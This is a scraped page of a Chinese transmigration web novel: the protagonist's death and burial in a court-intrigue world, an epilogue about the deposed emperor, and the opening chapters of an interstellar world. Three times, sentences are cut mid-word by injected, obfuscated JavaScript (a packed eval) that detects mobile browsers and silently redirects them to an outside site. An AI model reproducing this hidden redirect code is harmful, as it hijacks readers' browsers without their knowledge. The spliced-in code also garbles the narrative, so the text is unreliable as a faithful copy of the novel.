() { $(''.inform'').remove(); $(''#content'').append('' /p> 谢南渝低头解释:“我也是回来之后才知道的,再说了,沈伯父效忠先皇,也没有什么错,当年也确实是诬告……” 舒明尘可能觉得这件事如果在刚开始爆出来,会影响沈司的仕途,所以才选择瞒着。 至于谢南渝,他并没有想要一直瞒着沈司,而且像沈伯父这样表面中立或者归属一党,实则暗中为先皇效力的人不在少数,又没有犯下弥天大错,他不会追究的。 沈司刚入朝堂,他本来想等着沈司心性定了就说出来 ,哪知被沈司提前知道了。 沈司冷静下来也明白其中道理了,但心里还是恼火,面色依旧不好看。 谢南渝见状只能继续哄:“这事是我考虑不好,今晚我赔罪,请你喝桃花酿,还有你上次说翡翠金翅好吃,御厨已经学会了,还有很多新菜式,尝尝和翡翠轩相比如何?” 他一说这,沈司就想起他上次是鸽了谢南渝去翡翠轩蹭吃蹭喝,回来后还听说谢南渝等了他一中午,吓得那几天他上朝都是一副端庄肃穆的姿态。 生怕被逮住小辫子然后被对方借题发挥。 不过最后也没有什么实际性的处罚,只是上朝的时候他总感觉陛下多看了他好几眼。 这么一说,他们两个好像扯平了? 他心里那点别扭登时烟消云散。 只是面上依旧端着那副气愤的表情,不情不愿地说道:“好吧。” 不能这么快原谅,不然秋后算账的时候他手里就没把柄了! 谢南渝还不了解沈司那点小心思,但他依旧玩笑着说:“那就请侍郎大人赏脸了。” 两人相视一笑。 沈司后又觉得不对,他还在生气呢,结果还是没绷住。 算了。 人生在世,欢乐之时又占几何,想笑便笑,理当如此。 这天舒明尘无意中得知,等来年春天,沈司要去南方一些郡县进行实地考察。 这也很正常,谢南渝是把沈司当下一任尚书令培养的,相当于后来的丞相,肯定要掌握国家各地的情况才能坐稳这个位子。 舒明尘猜测沈司回来之后,虽然官职不变,但权势势必会再上一层。 但同样的,尚书令的权利就被削减了。 世家必然不满。 皇权和世家总有一场仗要打。 他想得入神,沈司在他面前挥挥手:“想什么呢?再不吃可就没了啊。” 舒明尘回过神,眼疾手快地夹了最后一个翡翠金翅,还别说,御厨做的就是好吃啊。 沈司:…… 死嘴你刚刚在干什么啊啊啊啊啊啊! 死手你为什么没抢过! 谢南渝在一旁差点笑出声来。 最后又让御厨做了一份,给沈司送到府里才算完事。 36.炮灰质子(36) 舒明尘的小算盘打的很好,正好沈司也要离开京城,索性到时候他就跟着沈司一起走,在半路分道扬镳。 只是他前脚刚把这件事说出来,又安慰了一下一脸不舍的青羽,后脚他就病了。 被风寒侵蚀的大脑昏昏沉沉,加上耳边七嘴八舌的说话声,他感觉现在的大脑就是一团浆糊。 他记得之前在晋国伤得比现在还重,那时候也没像现在一样啊。 还没等舒明尘想明白其中的异常,整个人就陷入了无知觉的混沌中。 等他再次醒来的时候竟是晚上了,晦暗的烛光中,一个身影立在他的床前。 舒明尘眯了眯眼,唤了一声: “云容……” 云容混沌地应了一声,又听见面前的人问道:“这么晚了怎么还在这?” “我……我担心你。” 他勉强撑了撑笑脸,但夜色昏暗,加上顾及舒明尘睡觉,屋内烛火也少,只是零星散在殿内角落,因此舒明尘也没注意。 “我能有什么事?”舒明尘无所谓道。 一个小感冒能怎么样,对于这具病歪歪的身体来说,按照之前的经验,风寒顶多也只能让他躺一个冬天。 虽然把他送走也挺好的,他也不用瞎折腾了。 但是这个任务对于小小风寒来说还是太艰巨了。 “快回去休息吧,我没事,你还要值夜班,在我这耗着干什么。” 他边这样说边打着哈欠。 不知道为什么,虽然刚睡醒,还是觉得身体很疲乏。 但是为了赶走云容,舒明尘强逼着自己打起了精神,还叫了点夜宵,看上去倒还真像是神采奕奕。 于是云容就这么被半推半劝地离开了。 而舒明尘就在等待的时间里,又不知不觉地睡着了。 沈司揉了揉眉心,问道:“查出来了吗?” 沈司沉着脸:“还没有。药没问题,但煎药的陶罐有问题。” 煎药的宫人来来往往换了几个,加之煎药的陶罐本就相似,谁也没有注意素日常用的器具到底什么时候被换了。 “太医怎么说?” “发现的太晚了,虚不受补,可能……” 云容没有把后面的话说出来,但两人都知道这未尽之语。 其实这个药放到普通人身上也没什么,只是会感觉身体虚弱,精神疲乏,但对于舒明尘来说就是雪上加霜。 他喝的药本来是温补的,结果时间越长反而身体越虚弱。 第二天的时候,舒明尘还跟系统吐槽说冬天还没开始,他就要开始被迫冬眠了。 虽然躺着很舒服,但是生病总归不好受。 一开始他还和系统掰着日子数这是第几天,数着数着,他自己都忘了。 白驹过隙的时间里,新的人被揪出,又牵扯出背后深藏的线,在愈发反常的情势和周围人的反应中,舒明尘自己也知道他好像时日无多了。 舒明尘:感谢还没露面的反派,没出场都能把他送走,真是太棒了! 果然最后还是要靠他的反派好同伴。 相比于舒明尘的反应,谢南渝显得更难以接受。 他把舒明尘接到宫里来是想给对方一个最好的养伤环境,没想到反而害了他。 而这件事又牵扯到世家,针对世家的计划刚刚展开,现在动手毫无收益,反而还会打草惊蛇。 轻拿轻放吗? 他做不到。 他已经害死了舒明尘两次了,一次是在晋国,一次是在这里,第一次尚可弥补,这一次却无力回天了。 舒明尘所住的宫室很大,但相比于之前热闹的氛围,此时殿内的气氛明显压抑不少。 舒明尘想着他也快走了,最后跟青羽捋了一遍儒经,还安慰她考不上也没关系,人生在世,未必事事都如意,明经知礼,学了总归是有用的。 谢南渝在一旁听着,直到那句“未必事事都如意”,他终于有些忍不住,揉了揉眼眶。 对于舒明尘来说,这世上并没有什么如意的事。 他在知道所有事情后就时常在想,或许舒明尘当时只是想通过这个告诉小叔,看似忠心耿耿的属下其实已经暗中投靠了别人。 而且当时的陛下并没有趁此良机严惩沈伯父,本身就很说明问题了。 可是没有一个人看出来。 所有人都在庆幸。 只有舒明尘,孤注一掷的后果惨重,连他自己最初的目的也没有达到。 后来的后来,或许觉得已经没有任何人会相信自己,又或者意识到自己的死可以帮助到他,就想这么去死好了。 可是明明真相不是这样的。 谢南渝又想到朝堂上世家相互联合,开设民间学堂之举困难重重,现在又把手伸向了皇宫,如墨的眼中闪过一丝冷光。 他要铲除掉这些蠹虫。 殿内说话声渐渐停了,等谢南渝意识到的时候,舒明尘不知何时坐到了他对面,探究地看着他。 舒明尘的眼睛很清亮,他扭了扭头,不太自在地问道:“怎么了?” 舒明尘奇怪地看了他一眼,谢南渝刚才杀气腾腾的,吓得他赶紧把其他人都支出去了,结果谢南渝还反过来问他怎么了。 但他想了想,还是说了句: “不要冲动。世家盘根错节,牵一发而动全身,最好是树一个靶子,等他们自己内耗,最后坐收渔翁之利。” 现在能让男主烦恼的估计也就是这个了。 “可他们……”害死了你啊。 “如果你不能一击即中,”他冷静地说,“那么之后,将会更难。” 谢南渝沉默。 舒明尘很疑惑,这男主之前在先皇面前忍了那么久,按理来讲定力很好啊。 难道登上皇位之后志得意满、开始沉不住气了? 但他现在没有余力去思考更深处的原因了。 他好像快到极限了。 在云容再一次来探望的时候,舒明尘叹息地说了句:“带我出宫吧,我想去外面看看。” 眼下初冬将至,虽然比不得之前在晋国天气严寒,但今晨白雾蒙蒙,可见并不是适合出游。 云容本想让他改日再去,但看见舒明尘恳求的眼神,最终还是答应了。 京城北郊有个跑马场,原本属于某位宠妃的母家,先皇倒台后一直闲置着,后来新皇大手一挥,云容就接盘了。 舒明尘此刻骑着个马,被云容牵着慢悠悠地在马场上晃着。 舒明尘:……这跟老爷爷散步一样的速度。 其实他会骑马,他在系统空间训练的时候,还被夸有天赋呢。 但想着原主好像不会骑,于是舒明尘硬生生地把肆意骑马的念头压了下去,随着徐徐的马步观望着辽阔的场地。 跑马场之前荒废了很久,云容接手之后也没怎么照管,还是沈司看不下去帮着规整了一下。 乍一看倒也有模有样。 舒明尘现在体质极差,围着马场转了几圈就被转移到一旁的小亭子里去了。 他对不完美的骑马感到遗憾,于是催促着云容骑几圈给他看看。 让他过过眼瘾。 马儿轻巧地从他眼前掠过,惊起一阵尘土,不知何时,天上也簌簌地落了雪,不大,但很合时宜。 是今年冬天的第一场雪。 舒明尘抬起了手,却并没有感受到一丝寒凉,雪花从手指的间隙溜走,飘飘荡荡地飞去了远方。 于是他的手也落了下去,随着漫天的雪,去追逃跑的风。 马蹄声急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321311|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 促而又骤然停下,亭子中的人却没有动作,雪落在他的发间,昭示着一次长久的安眠。 他终究没有等到春天,也见不到远方的滔滔江水。 大渝建国元年,有抱薪者倒在风雪中,而众人不知。同年,北郊添新坟,有碑,无名,时人怪之。 “他死了。” “葬在北郊,云容不知道要在碑上刻什么。” 刻陈明?可是这不是他的名字。 他真正的名字,被自己杀死在了史书里。 谢南渝怅然。 他杀死了舒明尘,三次。 而在他们看不见的地方,恢弘的宫门前,各色马车鱼贯而入,精挑细选的世家贵女们进宫了。 建国第二年,新皇特命顾辞任侍中,顾家一时风头无两,不过令顾家颇为头疼的是,宫里的皇后并不得陛下宠爱,倒是史家那位惠妃颇得陛下眼缘。 两位娘娘在宫中闹得很不愉快。 顾、史两家嫌隙渐生。 建国第五年,史家因侵田案下狱,顾家得意,哪知史家反咬一口,将顾家也拖下水,经审查确有参与,陛下下旨革去顾辞侍中之位。 建国第七年,顾流年犯渎职罪,被段御史弹劾,同年,段御史被指以权谋私,二人皆遭贬黜。 世家之势每况愈下。 “感觉最近好久没看到云容了。” 谢南渝批着手里的奏折,头也不抬地说道:“他告了假,去普陀寺了。” 沈司露出了羡慕的眼神。 世家式微,急于寻求新的庇护,于是便瞧上了沈司和云容。 这两人是跟皇帝刀山血海闯过来的,跟陛下的情谊自然非同一般,若是能榜上这么一棵大树,可保子孙百年啊。 最终云容不胜其烦,向陛下告了几天假,去山上的普陀寺躲几天。 谁知正好赶上大雪,下山不便,沈司嫉妒地想着,云容这次最起码能躲半个月的清闲。 就是苦了他,那些世家见不到云容,一窝蜂地全跑他这来了。 害得他现在只能跑到皇宫里躲一躲。 想到这,他又怨念地看了眼跟没事人的谢南渝。 谢南渝忽有所感,抬头正好看到沈司幽怨的眼神。 明知故问道:“最近很忙?” 沈司深知眼前人的劣根性,气的牙痒痒,但还是微笑道:“对啊,最近给我送来了好多画像,我在忙着选人呢。” 谢南渝伸手,隔着衣物精准找到了沈司的痒痒肉。 “选人?” 他一只手制住沈司,边挠边问道:“选谁?说给我听听。” 沈司被挠的连连求饶,偏他还躲不开,只能投降道:“选你,选你行了吧。” 这才让人停了手。 与山下的烟火气不同,山上很安静,云容跟着僧弥念了几日佛,心静澄明。 其实自从那个人走了之后,他的心只有在顾、史两家倒台的时候有那么一丝波动,更多时候平静的像是一潭死水。 他同这里的所有人一样,打坐、念经,但不知怎么的,忽然就感染了风寒,本想静养几日便好,谁知第二日便大雪封山,同时病的越重了。 云容走之前,做了一场梦,彤施站在雪地里,鲜妍年轻,拉着他说道:“来打雪仗啊!” 她的身后,一群人笑意盈盈地望着他,赶车的马夫老章,同他一同潜藏在晋国的部下…… 于是他走上前说道:“好啊!” 风并不寒冷,雪也是暖的。 他随手团了一个雪球扔了出去,被砸的人“哎呦”叫了一声,又不甘示弱地反击,一群人笑着闹着,团聚在不知名的风雪里。 “滴——” 一道机械质声音响起。 “本世界错误,清除完毕。” 37.番外 雪消冰融,春风拂面。 但重阳殿偏僻,又少人,在这一方天地里,像是被隔离一样,除了偷偷抽出芽的杂草,空寂的院落里看不出丝毫的生气。 前朝时期,这里通常被拨给不受宠的妃子,偶尔无人照看的皇子也会被丢到这里,统一由撷内司照顾。 但宫里向来捧高踩低,被丢进这里的皇子生活自然不会好。 后来改朝换代,这破败的宫殿被稍微整修了一下,就变成了先皇的幽闭之所。 先皇年纪渐渐大了,加上早年间的政变带给他的打击不可谓不大,脾气也变得孤僻古怪起来。 常常一个人在廊下坐着,看着飞来的燕子发呆,看见几只燕子在空中飞舞盘旋,偶尔也会随手丢一只杯子过去。 那受惊的燕子便倏地一下飞走了。 重阳殿的宫人对此见怪不怪。 新皇本没有太为难他,且因为莫名的原因,虽然比不上之前,但一开始的待遇也算是不错了。 但因着这位越发暴躁难定的性格,日常所用之物诸如茶具之类,不出几日便要重新换一遍,因此各个规格一降再降。 就拿刚才先皇丢出去的茶杯来说,与宫人所用的已经别无二致了。 但他并没有因为这个而有丝毫的收敛,且随着日子慢慢过去,甚至还有愈演愈烈之势。 每当这时,他们总会想起刚来的时候,那时先皇的精神也还算稳定,时常还有一位公子来这聊会天。 这位公子得陛下看重,一定程度上也保障了重阳殿的生活质量。 但是现在…… 蹲在杂草中收拾碎瓷片的小太监叹了口气。 他一想到过几天还要去内侍局领新的茶具,到时候不知道又要被冷嘲热讽多久…… 虽然过程艰难,但也不会故意扣着不给。 重阳殿特殊,何况皇帝对前朝采用怀柔政策,明面上谁也不能为难。 但毕竟谁也不想受人白眼。 更何况前朝提倡节俭治国,上下一体的局面下,重阳宫显然属于“铺张浪费”了。 也不怪内侍局的宫人们看他们不顺眼。 可是…… 他瞥了眼内室的门。 这位性情愈发古怪了。 但他又联想到过几天就是初二了,这月正好赶上他这一批,到时候他就可以出宫探亲了。 他一高兴便有点忘形,以至于连迟钝的先皇也看了出来。 问清缘由后,先皇浑浊的眼珠转了转,说道:“给我带一只糖葫芦。” 他跪在地上,愣愣地仰头看,一只翡翠扳指落在了他手上,似乎算是他的报酬。 他思来想去,还是将这件事禀报到了宣德殿。 那只扳指此刻被孤零零地摆在了地上,并着小太监瑟缩的身躯,像两只等待命运审判的羔羊。 谢南渝听完,平淡地回了一句:“照他说的做就是了。” 小太监低头称是,点头哈腰地便要退走,被皇帝出言叫停。 谢南渝冲着地面的方向指了指,说道:“那个,拿走。” 于是这价值不菲的扳指便彻底地归了他。 直到再次回到重阳殿,他才陷入了天降馅饼的狂喜之中。 而身在宣德殿的谢南渝,看着满桌的奏折,突然有些许的疲惫。 疲惫之后是悲痛,那悲痛起初十分强烈,后来变成一根尖刺,时间愈久,刺的尖端似乎也钝了。 只是偶尔触及伤口,还是撕心裂肺的痛。 你看见了吗? 现在百姓生活的很好。 我们,也很好。 只是,你要是还在,就好了。 初二很快就到了。 这天先皇难得没有作妖,比平常安分了不少。 重阳殿的宫人们松了口气。 因着探亲的缘故,今天重阳殿格外冷清,留下来的宫女太监也显得有些心浮气躁。 这位要是再像平常一样折腾,可就真忙不过来了。 探亲日很珍贵,好不容易可以见到亲人,自然要畅谈许久,也因此先皇等到了傍晚才等到姗姗来迟的小太监。 他看上去还有些意犹未尽,但总体而言是高兴的。 毕竟也算是发了一笔横财,加上他平常攒下的俸禄,足够他家还完债过安逸日子了。 见到先皇,他又恢复了平日谨小慎微的模样,将东西交给对方后便退下了。 先皇看着眼前油纸包着的一大堆的糖葫芦陷入了沉思。 那小太监是把满城卖糖葫芦的人打劫了吗? 他从未出过皇宫,自然也不知道民间物价几何,但御用的扳指自然是顶好的。 不过今时不同往日,求人办事,自然要付点报酬。 他自己留下了一个,剩下的让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369655|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他人平分了。 他如今已经不适合吃这种东西了,因此只能舔了舔外面的糖衣,至于剩下的部分就无能为力了。 宫人们在殿外欢快地聊着天,说今天这位怎么突然转性了,还给他们带糖葫芦。 他在殿内听着,大脑迟缓地动了一下,为什么?他也不知道。 不对,他知道。 他想起了一个人。 在尘埃落定后,只有这个人还叫他一声“陛下”,还愿意为他周旋。 也因此,他并没有同他那些儿子们一样,还落得了一个不错的晚年生活。 他又想起幽暗逼仄的牢狱,那简直是他这一生待过的最差的地方。 在无休止的等待和隐约的期盼里,他等来一个人,那个人站到他面前,对他说,他有办法。 当时,他自己都不能确定,他嘴里的东西到底会帮他还是会要了他的命。 他的年纪已经很大了,过去的事情已经记不太清,唯独关于那个人的事情,他记得一清二楚。 恍恍惚惚间,他似乎又听见那个人轻笑了一声。 “在下当年,确实有幸得见陛下。” “别想了,你猜不到的。” 他确实猜不到啊。 他的儿子在他看不见的地方长成了一个合适的继承人,又因为他一辈子无缘朝堂。 那时他站在他的面前,虽无意与他相认,但也不怕与他有牵扯。 他曾经嫌弃五皇子志短,只看得到眼前的蝇头小利;又看不上三皇子的汲汲为营,当面一套,背后一套。 后来他见到了一个合适的继承人,在登高跌重、失去一切后。 所见到的、所知晓的一切,都没有了意义。 “他不想见你。” “他死了。” 他难以置信,但同时他的大脑告诉他,这也是理所当然的结局。 一个皇子,前朝的皇子,一个政治才能不输于当今新皇的皇子,要做到什么地步,才能让新皇容得下他。 没有答案。 也因此没有活路。 他觉得可笑,没有享受皇子应有的地位和权势,却要承受这个身份带来的一切不幸。 真倒霉。 他合上眼,喃喃道:“下辈子,做个普通人。” 不知道是说自己,还是说别人。 建国十五年,先皇薨。 38.星际新贵(1) 脱离世界后,舒明尘按下了任务结算的按钮。 “叮——” “结算结束,任务评级为B,所得积分40642.31,任务者享受新手福利、补偿福利,扣除积分0,最终所得积分为81284.62。” 舒明尘:…… 这怎么还有零有整的。 他盯着那个“扣除积分0”的大字,劫后余生般地对系统说: “幸亏有新手福利啊。” 这个世界偏离原剧情好像挺多的,真要扣的话,他辛辛苦苦赚的积分估计剩不下多少。 系统小手拍拍:“毕竟是第一次任务,舒舒已经很棒啦!” 舒明尘深以为然。 不过,话说,这积分有什么用啊。 眼前的光圈闪了闪,解答道: “任务者可使用积分作用于曾经去过的世界,重新开始任务。” 简单来说就是,比如他这个世界的任务评级为B,如果他想提高这个评级,可以使用花费积分重新开始一次任务。 当然,重来并不能保证评级会变高。 “那如果我想重新进行一次任务,要用多少积分?” 舒明尘面前出现了一个天文数字。 …… 可恶的资本家! 照这个数字,他得至少做五次任务才能凑够。 哦,忘了他的新手福利只有两个世界,这么一算,遥遥无期啊。 但是评级A的任务率跟个人等级挂钩,等级越高可选择的任务就越多。 好像到了最后还是得花这个积分。 舒明尘觉得这简直是天大的套路。 还没等他吐槽完,舒明尘就感觉眼前一花,伴随而来的还有另一道声音 “第二个世界,开启。” !!! 舒明尘还没来得及开口阻止,一阵失重的感觉袭来,下一秒,他就失去了意识。 “身份信息确认中……” “任务者:舒明尘,同化程度:一般,投放位面:星际,监管者:NTY3084。” “请监管者确认任务者及投放位面是否正确……” “确认无误。” “任务开始。” 舒明尘睁开眼,发现他似乎处于一个晚宴上。 在场的人衣冠楚楚,几个看上去事业有成的中年男子聚在一起,面带微笑地谈论着。 又有另一个年轻人挤了进去,不知说了什么,余下几人哈哈大笑。 其余人对那名年轻人投去了羡慕的眼神。 跟那边热络的气氛对比,舒明尘所处的位置倒真是冷清了。 他倒是毫不在意地拿了一杯酒,一边观察着会场,一边听着系统的介绍。 这是星际位面。 他这次所扮演的炮灰是个小有名气的架构师,凭着自己的天赋设计出了一套飞船自动操作系统,并开创了一个公司。 但没多久就支撑不下去,公司被收购,自己的梦想也付之一炬。 后来原主偶然和一个神秘组织搭上了线,对方热情地表示可以资助原主所需要的一切,原主以为遇到了伯乐。 他后来才知道这是星盗,但这时他们已经切割不开了,在原剧情里原主死于星盗组织的内斗。 至于偏离后的剧情则是,原主在内斗中不但活了下来且获得了新老大的信任,此后如鱼得水,在暗地里不断发展势力,混成了星际组织真正的老大。 并且凭着自己的天赋给主角造成了不少麻烦。 嗯…… 是个很厉害的炮灰。 凭一己之力把自己的地位从不起眼的炮灰变成主角面前的头号反派。 这种自我奋斗精神令人感动。 舒明尘给自己鼓了鼓劲,决心要向原主看齐,人生在于永不停歇的奋斗! 现在剧情进行到了,原主公司资金链断裂,他正四处拉投资,来到这个晚宴也是这个目的。 当然结果自然是没有人乐意资助他。 提前知道了结果,舒明尘索性直接起身离开,反正在这里继续待下去也没有意义。 他走后,“伈钛”高层互相对看了一眼,露出了默契的笑意。 那青年在一旁谄媚道:“您放心,方某保证,他绝对拿不到任何资金。” 孟拙拿起手中的酒杯碰了碰,玩笑道:“小方的手段,我们几个老家伙自然清楚。” 方徊受宠若惊地端着酒杯迎了上去,又拍着胸脯保证道:“几位尽管放心就是了。” 宴会厅在72层,舒明尘坐着环形观光电梯离开,看着眼前高纯透明材料倒影出身后的琉璃光影,赞叹了一句不愧是商业聚会。 简直是大型烧钱现场。 悬浮车静静地停在原地等着它的主人。 “嘀——”的一声,瞳纹识别系统验证通过,舒明尘抬手,识别到主人的生物信息,车门自动开启。 这个悬浮车被原主装了自动驾驶系统,舒明尘设置了目的地,然后拿起车内常备的消毒湿巾,擦了擦手后闭上了眼。 检测到车内人的状态,车内灯光自动变暗。 他对这个世界不太熟悉,需要尽快接收原主的记忆。 悬浮车平稳行驶,在到达家后暖黄色灯光亮起,适时提醒主人行程已结束。 舒明尘睁开眼,揉了揉有些发胀的脑袋,车门自动打开,舒明尘下车,走进家门。 这几天原主一直奔波在各种商业晚宴中,有时候来不及回家就匆匆赶向下一场,所以真要算的话,他好像已经很久没回家了。 今天回来的早,爷爷应该还没睡。 原主是被领养的,父母是谁不知道,反正原主一点关于父母的记忆都没有。 但原主也不在意,爷孙两人关系很好,作为一个原本无家可归的孤儿,原主已经很知足了。 好几天没和爷爷交流,他应该也挺担心的,舒明尘想。 他敲了敲门,没有回应,他感到奇怪,以往这个时候爷爷应该还没睡才对啊。 家用机器人尽职尽责地清理地面上残留的脚印。 舒明尘:…… 哦,进门的时候太着急了,忘了换鞋了。 星际的鞋使用特殊材料,一般不会残留脏污,但鉴于原主这几天东奔西跑,脚下这双鞋就算是再高科技,落到舒明尘脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14390178|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,也得身败名裂。 舒明尘敲了敲小机器人,问道:“我爷爷这么早就睡了?” 检测到关键词后,小机器人身上的虹光闪了闪,在连上监控系统后,投放出了一段影像: 几名医护人员利落地将一位老人放进救生舱里,又快速地离开。 时间显示是几天前。 !!! 他爷爷生病了! 舒明尘打开光脑,信息空空,他快速地编辑了一条消息发了出去。 但如果爷爷病的重,醒不了,也回不了他的消息。 舒明尘焦躁不安,决定开挂。 他让系统黑进了联邦的医疗系统,在查到爷爷所在医院后,他一步并作两步,坐进悬浮车就冲了出去。 沈确对这种情况心知肚明,他的年龄已经到了星际平均年龄,身体出现问题也正常。 他也知道他的孙子最近很忙,而且目前检测报告还没出,要是没事的话,也没必要还得折腾人来一趟。 舒明尘消息发过来的时候他正在和老战友聊天,本来打算立即回过去的,但是旁边的人好奇问了句。 他随口回道是他孙子。 那战友话中有话地问道:“怎么,他才知道吗?” 沈确忙着解释,倒是忘了回消息。 等到舒明尘出现在病房的时候,两个人都愣了一下。 沈确看了眼光脑,又看了看舒明尘,嘴张了又合上,大概是想骂这个冲动的孙子几句,但又顾忌到还有旁人在场,没好意思发作。 倒是他的老战友陆继爽朗地笑了下,玩笑道:“刚才还跟老沈说起你,这么快就见到本人了。” 舒明尘露出了个不好意思的笑,在爷爷的介绍下打了个招呼,又看着两人寒暄了几句。 明显爷孙两人有话要说,陆继打了几句圆场话,就识趣地退了出去。 这是沈确的单人病房,但平时一个人带着也是无趣,正好陆继也在这,所以平常没事两人就在一块闲聊。 陆继走后,沈确看着卖乖的孙子气不打一处来。 他想也知道,舒明尘又黑进了联邦系统,才知道他所在病房的。 这孙子还在一旁絮絮叨叨地怪他,说他有事故意瞒着,就没把他当亲孙子…… 教育不成反被教育的沈确气的拍了拍床,VIP病床软硬适中,他这一拍不光没什么威慑力,还让舒明尘注意到了。 他在床上感受了下,点评了句:这床还不错。 当然插科打诨的舒明尘还是没能逃过大家长的教育,在沈老爷子威慑的目光下,老老实实地做了检讨。 并保证以后再也不做这类事情。 沈老爷子出自军队,对纪律十分看重,舒明尘一边手写检讨,一边小声蛐蛐,要是早点告诉他,他也不用黑系统。 气的沈老爷子把检讨字数加了一倍。 舒明尘:合着他急着来医院就是为了写检讨的。 沈老爷子威严地敲了敲桌面,提醒他不要走神。 他虽然大部分时间是个可以称得上慈爱的家长,但在教育问题上还是很有原则的。 舒明尘只能悲催地继续扣字。 39.星际新贵(2) 陆上将再次来找他的老哥们共进午餐的时候,在病房外左瞅右瞅,总觉得有点违和。 但他聚精会神观察了一下,高精度密合窗,自带防窥和通风系统,特殊材质的窗帘一丝不苟地固定在两侧。 如出一辙的VIP病房配置,也没发现什么异常。 于是他只能暂且压下心中那点违和感,和平常一样走了进去。 正巧碰上舒明尘来送饭。 青年规规矩矩地打了个招呼,又退了一步,示意他先行。 俨然一副乖巧的小辈姿态。 装的倒是挺好。 他心里腹诽着,面上却还是那副和善的表情,冲着眼前人笑眯眯地打了个招呼。 又冲着里面中气十足地喊道:“老沈,我来了!” 沈确:……谁惹陆继这个火药桶了? 沈确和陆继当年一同进的军队,两人初次见面十分不快,在教官还没分配下来之前就干了一架。 二十多岁,血气方刚的年纪,陆继脾气爆,沈确的性格也算不上软弱。 在刚进部队的那几个月,两人每次见面,像是火星遇见了鞭炮,烧得噼里啪啦,连教官都头疼。 后来他们这一批士兵跟着前任元帅上了战场,尽管已经在虚拟空间练习过,这些刚上战场的毛头小子还是被战争的残酷狠狠教训了一通。 高科技时代的战争惨烈又冰冷,死在这里连尸首也很难留下。 从一个初出茅庐的新兵蛋子成长为一个合格的士兵,不仅需要足够的意志,也需要足够的运气。 他们两个很幸运。 但其他人就没有那么幸运了。 透过眼前高清操作屏幕,他亲眼一个勤务兵被团团围住,那机甲勉力支撑,最终还是被切断四肢,沦为了一堆无力反抗的零件。 显然敌方并不想杀死对方,主将的直属部下在任何时候都是敌方的重点关注对象。 那机甲轰然炸裂,在无垠的星河中绽放出一瞬的火光,随后又沉寂下去,除了四周漂浮的碎片,像是什么都没发生一样。 他不想被敌方俘虏,所以自爆了。 战场上,一个生命的流逝就是如此简单。 可他根本没时间去惋惜,因为越来越多的敌军围了上来。 你死我活的战争中,双方杀红了眼。 在一场场的战争里,两个人从一开始的互相看不顺眼,到并肩作战,再到后来的默契。 只需要几次接近死亡的瞬间。 沈老爷子自己的性格属于那种遇强则强,但是本身性格也算和善,但陆继这家伙就不一样了。 沈确后来被调到元帅身边当勤务兵,陆继这厮则顶着一个上将的头衔,在军队混得风生水起。 听说陆上将尤为看重新兵操练,每每亲临监督,加上他脾气不好,军衔还高,教官哪里敢怠慢。 只能卖力地操练。 此后数届新兵都苦不堪言。 有时候他都在想,陆继真是火药桶做的吧? 但到底年纪大了,他现在这脾气,跟年轻时候相比,已经称得上慈善了。 沈确看了眼走进来的陆继,视线从眼前的笑面虎移到后面乖乖跟着的孙子,觉得自己刚才真是昏头了。 仁慈和善,陆继根本没有这种东西好吗? 看他的乖孙都被吓成什么样了? 舒明尘确实察觉到了这个长辈好像不太喜欢他,加上昨天回家的那一点时间,他只接收了近期的一部分记忆。 此时生怕被这个挑刺的长辈看出什么来,心理上难得有些紧张。 “来了就来了,喊什么?” “啧,这不是怕你看不见吗?” 眼看着好友的眼神又往后飘,陆继不满道:“我人在这,你看哪呢?” 沈老爷子幽幽来了句:“当然是我的饭啊。” 再说就陆继现在胡子拉碴的样子,哪有他家孙子好看。 正当年华的舒明尘往那一站,将饭盒摆在桌上,又清清脆脆地出声道: “我多准备了一份,陆爷爷如果不嫌弃的话就一起吃吧。” 陆继本来想拒绝,他当然是带着饭来的,但在看见好友打开饭盒的一瞬间看直了眼。 虽然他自己准备的也不差,可是、可是…… 闻着好香啊! 沈确瞥了他一眼,说道:“一起吃吧,蹭了你这么多天的饭,今天也轮到你蹭了。” 陆继厚着脸皮嘿嘿一笑,就着好友给的台阶就下了。 在超微精密材质的保护下,食物依然处于刚出锅的样子,热度饱满,味道怡人,陆继吃得着急,还被烫了一下。 沈确无语地递了一杯水过去。 陆继浑不在意地干了一杯水,埋头继续享受美食。 他决定了,以后要精准踩点来蹭饭。 两个病人在一旁吃饭,舒明尘随手拿了个水果刀削苹果。 星际时代的苹果个大圆润,果肉饱满,等那边吃完饭,舒明尘这边正好将切成小块的苹果递过去,又顺手把餐盒收了。 吃饱喝足享受饭后水果的陆继躺在摇椅上,眯了眯眼,舒服地喟叹了一声。 虽然这小子很会装,但面子上做的确实好啊。 舒明尘中午时间不多,因此只是草草地帮忙打扫了一下病房,打了招呼就离开了。 